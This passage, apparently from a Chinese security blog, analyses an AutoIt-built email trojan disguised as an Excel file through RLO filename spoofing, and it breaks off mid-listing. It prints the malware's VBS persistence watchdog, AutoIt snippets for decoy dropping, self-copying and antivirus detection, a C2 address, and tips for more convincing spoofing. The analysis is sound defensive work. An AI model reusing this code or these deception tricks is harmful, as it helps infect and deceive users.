Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

一个基于AutoIT制作生成的欺骗性邮件木马样本分析

$
0
0

*本文作者:cgf99,本文属 CodeSec 原创奖励计划,未经许可禁止转载。

一、前言

最近收到一个名为ACH-Payment.zip的压缩文档的附件,打开后发现内容其实为一个exe可执行文件。

如下图所示:


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

如果用户习惯对压缩文件直接右键解压缩释放到目录,则看上去的欺骗性会更强。因为其图标会变成excel图标,文件名也有变化。

解压缩后,打开ACH-Payment目录,发现其文件显示如下图所示。


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

如果用户的windows操作系统使用默认设置,即在文件夹查看设置中勾选“隐藏已知文件的扩展名”的话,则文件看上去如下图所示:


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

乍一看,确实很像excel表格文件,如果用户没有细看其类型是“应用程序”的话,真的会很容易当作excel文档直接打开。

很明显,攻击者把exe图标替换为excel图标,并结合运用了windows系统RLO文件名欺骗技术。通过欺骗windows系统下用户的视觉效果,进而诱使用户打开并执行恶意木马文件。这种攻击方法是目前社会工程学攻击的常见的典型手段之一,也曾被许多黑客组织包括APT组织运用于各种网络间谍活动。 众所周知,windows系统支持一种特殊的unicode字符RLO。如果一个字符串中包含RLO字符,那么在windows下显示时,就会把RLO字符右侧的字符串逆序显示出来。比如abc[RLO]edf,则显示的时候看到的是abcfde。因此,其实上面压缩文档内的文件名应该是:ACH Payment[RLO]xslx..exe。 此外,笔者感觉本次攻击者的RLO技术应用有点low或者不甚用心,比如上文第二幅图中显示的文件名看起来像是ACH Paymentexe..xlsx,文件名其中有两个..字符,而且Paymentexe这串字符串看起来也不像正常的英文单词。从而可能引起目标用户的警觉。其实可以坐如下改进,比如文件名命名为ACH Payment[RLO]xslx.exe即可,而且最好是RLO字符前面的单词和exe后缀或者scr或者com等可执行文件后缀扩展名能结合起来像一个真的英文单词,则文件名看起来会更逼真。

很显然,收到的这种形态的可执行文件肯定是有问题的,以下为具体的分析过程。

二、初步分析 1、 测试环境

Vmware虚拟机环境、windows xp系统

2、 文件属性 大小 MD5 SHA1 696,702 d1e7d5ed139500f9d8e1286763e43727 76809228ac1f92d71b6cfa2455d662c795a98acc 3、 进程情况

运行后,系统弹出窗口请求选择应用程序开启文档YZGZIG.lsx。如下图所示,晕,竟然没有默认的打开方式,而且.lsx扩展名是什么鬼?


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

由于测试系统中已安装了WPS,选择用WPS打开。打开后如下图所示,是一个空的表格文件。


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

从图中我们可以进一步确认,该攻击者确实比较粗心。首先,上图中打开的空的excel文档名字其实应该为YZGZIG.xls,而不是YZGZIG.lsx,应该是编程出现的笔误。其次,很明显我们收到的或者攻击者想让我们看起来以为的文档名字应该是:ACH Paymentexe..xlsx。也就说,正常情况下,打开给用户看到的应该是ACH Payment.xlsx,而且是excel2007以后的文件类型。因此,如果要符合正常逻辑的话,这里存在两个小问题,一是文件名不对,不能是YZGZIG.lsx,二是文档类型后缀名不对,应该是.xlsx后缀名结尾的表格文档。

通过WPS我们可以看到,实际打开的空文档放置在%temp%目录下。同时,恶意代码运行后,会启动一个名为wscript.exe的进程。而wscript.exe是windows系统自带的文件,用于运行脚本文件,我们看看脚本文件存放哪里?

发现在%temp%目录下有一个名为RBOUCN.vbs的脚本文件。其内容如下:

文件名 RBOUCN.vbs 内容 On error resume next
Dim strComputer,strProcess,fileset
strProcess = “ACH Payment?xslx..exe”
fileset = “”"C:\ACH Payment?xslx..exe”"”
strComputer = “.”
Dim objShell
Set objShell = CreateObject(“WScript.Shell”)
Dim fso
Set fso = CreateObject(“Scripting.FileSystemObject”)
while 1
IF isProcessRunning(strComputer,strProcess) THEN
ELSE
objShell.Run fileset
END IF
Wend
FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)
DIM objWMIService, strWMIQuery
strWMIQuery = “Select * from Win32_Process where name like ‘” & strProcessName & “‘”
SET objWMIService = GETOBJECT(“winmgmts:” _ & “{impersonationLevel=impersonate}!\\” _ & strComputer & “\root\cimv2″)
IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN
isProcessRunning = TRUE
ELSE
isProcessRunning = FALSE
END IF
END FUNCTION 上面的脚本其实很简单,就是循环判断恶意进程是否已经在运行中。如果没有运行的话则启动之。可见,其实恶意代码运行后,利用wscript运行上面脚本与ACH Payment[RLO]xslx..exe进程之间实现了双进程实时保护功能,无论是哪一个进程被中断,另一个进程就会实时启动它,不过很明显,这样的实时循环保护机制会牺牲CPU的使用效率。 另外,在试验中,发现一个奇怪的现象。如果用户杀掉ACH Payment[RLO]xslx..exe进程,则wscript进程直接启动ACH Payment[RLO]xslx..exe进程,导致又会重新打开excel文档。很奇怪的感觉,一个用户在杀掉一个进程就会导致同一个文档重复被打开。很晕,只能说有点奇怪有点暴力。此时,该恶意文件的制作者又被笔者小小的鄙视了一把。 4、网络情况

运行后恶意进程连接的IP地址是182.186.59.185,连接的端口是TCP1338端口,这个端口也很少见。常见的木马都是冒充连接80、443端口。不过由于一直无法连接服务器,导致进程循环定时发送网络连接请求。

命令 Netstat no 结果 TCP 192.168.92.203:1453 182.186.59.185:1338 SYN_SENT 760

该IP调查结果如下:

查询IP 182.186.59.185 结果 本站数据:巴基斯坦
参考数据1:巴基斯坦巴基斯坦 ptcl.com.pk
参考数据2:巴基斯坦
兼容IPv6地址:::B6BA:3BB9
映射IPv6地址:::FFFF:B6BA:3BB9 5、启动项 发现恶意代码在开始菜单的启动目录下添加了一个名为PROUCN的文件夹,其实是一个快捷方式方式。查看后,发现实际指向的是文件是“%appdata%\windata\system32.exe”。经过文件hash比较,其实这个system32.exe就是我们执行的ACH Payment[RLO]xslx..exe。也就是说恶意代码执行后,会在%appdata%目录下创建Windata文件夹,然后拷贝自身到该文件夹下,再添加其快捷方式到启动目录。具体如下图所示:
一个基于AutoIT制作生成的欺骗性邮件木马样本分析
不过,如果直接运行system32.exe文件,则会在后台运行,不会像ACH Payment[RLO]xslx..exe一样打开文档。说明恶意代码中应该有进行运行参数判断,比如根据进程文件名或者所在的目录的不同,再进行选择性操作。可是,笔者在此处有发现了一个bug。当系统重新启动后,自启动的进程是启动项下的system32.exe,而system32.exe又会去启动wscript运行进程保护脚本。然而作者在这里又没有处理好,没有生成或更新进程保护脚本,从而导致wscript运行的脚本保护的进程永远是ACH Payment[RLO]xslx..exe,而不是实际应该保护的system32.exe进程。导致系统重启后,system32.exe会实时保护wscript.exe,而wscript.exe则只会去保护最原始的ACH Payment[RLO]xslx..exe。唉。鄙视之。 三、静态分析和动态情况 1、调试保护

作者在代码中调用IsDebuggerPresent函数进行进程调试保护,看是否当前进程处于调试状态。如下图所示。


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

恶意代码如果发现处于调试状态,则弹出对话框,如下图所示。


一个基于AutoIT制作生成的欺骗性邮件木马样本分析

Olydbg中代码如下图所示:


一个基于AutoIT制作生成的欺骗性邮件木马样本分析
2、创建隐藏窗口
一个基于AutoIT制作生成的欺骗性邮件木马样本分析
3、autoit3脚本分析

经过一番分析,确定该exe应该是用AutoIT3编译而成。AutoIt是一个使用类似BASIC脚本语言的免费软件,它设计用于Windows GUI(图形用户界面)中进行自动化操作。它利用模拟键盘按键,鼠标移动和窗口/控件的组合来实现自动化任务。于是对exe进行格式转换,将其变换为.au3脚本文件。

脚本为明文,基本上文件的功能一目了然。(晕啊,想起前面用olydbg动态调试的时候,层层的跳跃,快疯掉了。)

下面逐步分析该au3脚本的功能。

1、判断窗口是否存在

作用 AutuIt脚本 窗口如已存在,退出,否则设置窗口标题 If WinExists(“DEBFPWGSFP”) Then Exit
AutoItWinSetTitle(“DEBFPWGSFP”)

2、释放打开excel文档

如果exe运行的名字不是system32.exe、swwin2.exe、svwin1.exe(用于判断是否是第一次打开),则释放xlsx文档并打开。这里我们可以看到脚本作者释放的excel文档名称就是%temp%\YZGZIG.lsx,与上文看到的一致,应该就是此处作者笔误,把YZGZIG.xls写成了YZGZIG.lsx。

序号 AutuIt脚本 1 If @ScriptName <> “system32.exe” AND @ScriptName <> “svwin2.exe” AND @ScriptName <> “svwin1.exe” Then
FileInstall(“C:\Users\SHOZAB HAXOR\Desktop\ACH Payment.xlsx”, @TempDir & “/YZGZIG.lsx”)
ShellExecute(@TempDir & “/YZGZIG.lsx”)
EndIf

3、创建%appdata%\windata目录并拷贝自身到该目录下

序号 AutuIt脚本 1 DirCreate($ffazezs)
$bbneeayd = $tgztret & “system32″ & $yyzerf
FileCopy($fvffs, $ffazezs & $bbneeayd)

4、判断系统杀软环境

序号 AutuIt脚本 1 Global $antivirus If ProcessExists(“ekrn.exe”) Then $antivirus = “NOD32″ ElseIf ProcessExists(“AvastUI.exe”) Then $antivirus = “Avast” ElseIf ProcessExists(“avgcc.exe”) Then $antivirus = “AVG” ElseIf ProcessExists(“avgnt.exe”) Then $antivirus = “Avira” ElseIf ProcessExists(“ahnsd.exe”) Then $antivirus = “AhnLab-V3″ ElseIf ProcessExists(“bdss.exe”) Then $antivirus = “BitDefender” ElseIf ProcessExists(“bdv.exe”) Then $antivirus = “ByteH

Viewing all articles
Browse latest Browse all 12749

Trending Articles